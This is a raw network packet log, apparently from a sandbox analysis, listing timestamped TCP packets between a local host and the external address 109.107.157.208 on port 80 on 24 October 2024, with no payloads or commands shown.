Oct 24, 2024 13:27:09.466073036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.466180086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.466180086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.466180086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.466180086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.466803074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.466870070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.466882944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.466907024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.466942072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.466943026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.466964006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.466991901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467025042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467058897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467087984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467113972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467133999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467158079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467175007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467211962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467221022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467242956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467267036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467276096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467286110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467310905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467348099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467391968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467401981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467437029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467457056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467474937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467495918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467509031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467519045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467561007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467566967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467595100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467617035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467628956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467653990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467664003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467684031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467696905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467715979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467750072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467751980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467783928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467808962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467818975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467848063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467852116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467868090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467888117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467905998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467921019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467942953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467955112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.467983007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.467999935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468003988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468036890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468056917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468070030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468105078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468113899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468115091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468137980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468152046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468175888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468192101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468208075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468231916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468241930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468255043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468271017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468292952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468322039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468324900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468359947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468380928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468415022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468419075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468450069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468470097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468502998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468508005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468537092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468553066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468570948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468599081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468604088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468636990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468653917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468660116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468713999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468715906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468746901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468767881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468779087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468799114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468811035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468837976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468843937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468856096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468874931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468895912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468914986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468933105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.468951941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.468961954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469002008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469007015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469037056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469058037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469069958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469091892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469103098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469119072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469137907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469155073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469172001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469194889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469204903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469218969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469239950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469259977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469273090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469295025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469305992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469324112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469338894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469360113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469372034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469388008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469405890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469425917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469439030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469455957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469472885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469496012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469506979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469538927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469540119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469574928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469577074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469592094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469610929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469629049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469644070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469664097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469676018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469692945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469711065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469739914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469743013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469773054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469774008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469794035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469808102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469836950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469840050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.469856977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.469892979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.474704027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.474801064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.474832058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.474859953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.474912882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.474914074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.474914074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.474973917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.474982977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475038052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475042105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475095034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475112915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475147009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475155115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475188971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475241899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475271940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475353003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475363016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475363016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475363970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475363970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475406885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475435972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475436926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475461006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475488901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475492954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475543022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475544930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475594997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475598097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475630045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475651979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475682020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475697041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475718975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475743055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475748062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475769997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475781918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475799084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475816011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475831985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475850105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475876093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475884914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475903034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475919008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475948095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.475953102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.475966930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476006985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476010084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476042032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476063013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476073980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476098061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476109028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476119995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476142883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476164103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476191998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476196051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476229906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476248980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476264000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476284981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476298094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476320028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476349115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476351976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476407051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476408958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476444006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476465940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476471901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476490974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476524115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476526022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476562023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476578951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476593971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476617098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476629019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476645947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476661921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476679087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476717949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476721048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476747036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476772070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476778984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476794958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476830959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476831913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476886034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476907015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476941109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.476942062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476975918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.476998091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477010012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477034092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477041960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477062941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477091074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477099895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477133989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477157116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477185011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477186918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477226019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477242947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477277040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477277994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477305889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477334976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477353096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477363110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477415085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477416992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477449894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477471113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477483034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477515936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477535963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477536917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477571011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477586985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477602959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477627993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477633953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477648020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477684021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477688074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477722883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477741957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477756977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477781057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477791071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477809906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477844000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477844000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477874041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477899075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477909088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477921963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.477961063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.477962017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478013039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478014946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478065014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478065968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478117943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478118896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478152037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478171110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478183985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478208065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478230953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478236914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478269100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478290081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478302002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478324890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478336096 CEST	80	49730	109.107.157.208	192.168.2.4
